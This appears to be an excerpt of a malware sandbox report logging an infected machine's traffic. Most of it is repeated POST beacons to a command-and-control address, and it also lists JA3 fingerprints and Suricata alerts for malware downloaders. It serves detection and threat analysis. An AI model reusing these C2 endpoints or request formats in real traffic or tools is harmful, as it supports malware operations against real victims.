Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49813 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49845 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49872 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49879 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49880 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49897 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49916 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49924 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49923 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49898 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49951 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49978 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50010 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:50023 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50064 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50085 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50120 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50129 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50141 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50138 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50143 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:50144 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50147 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50152 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50156 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50160 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50164 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50166 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50234 -> 20.42.73.29:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50278 -> 20.42.73.24:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50322 -> 20.189.173.20:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPyVaKnKCexkNSH&MD=pMe5LR7n HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
